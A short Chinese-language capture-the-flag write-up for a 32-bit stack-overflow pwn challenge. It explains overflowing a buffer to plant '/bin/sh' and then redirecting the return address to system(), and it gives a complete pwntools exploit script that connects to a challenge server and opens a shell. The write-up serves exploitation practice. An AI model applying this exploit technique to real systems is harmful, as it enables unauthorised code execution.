pwn-Stack Overflow
地址
https://cgctf.nuptsast.com/challenges#Pwn
先观察一下,是一个32位的程序,而且只开了NX保护
用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数
我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell
思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址)
payload2的p32(0xaaaa)是函数的返回地址,随便填
构造exp如下
from pwn import * r=remote('182.254.217.142',10001) e=ELF('./cgpwna') sys_addr=e.symbols["system"] #sys_addr=0x80483f0 r.recvuntil("your choice:") r.sendline("1") r.recvuntil("you can leave some message here:") payload1='a'*40+'/bin/sh' r.sendline(payload1) payload2='a'*0x34+p32(sys_addr)+p32(0xaaaa)+p32(0x804a0a8) r.recvuntil("your name please:") r.sendline(payload2) r.interactive()
执行结果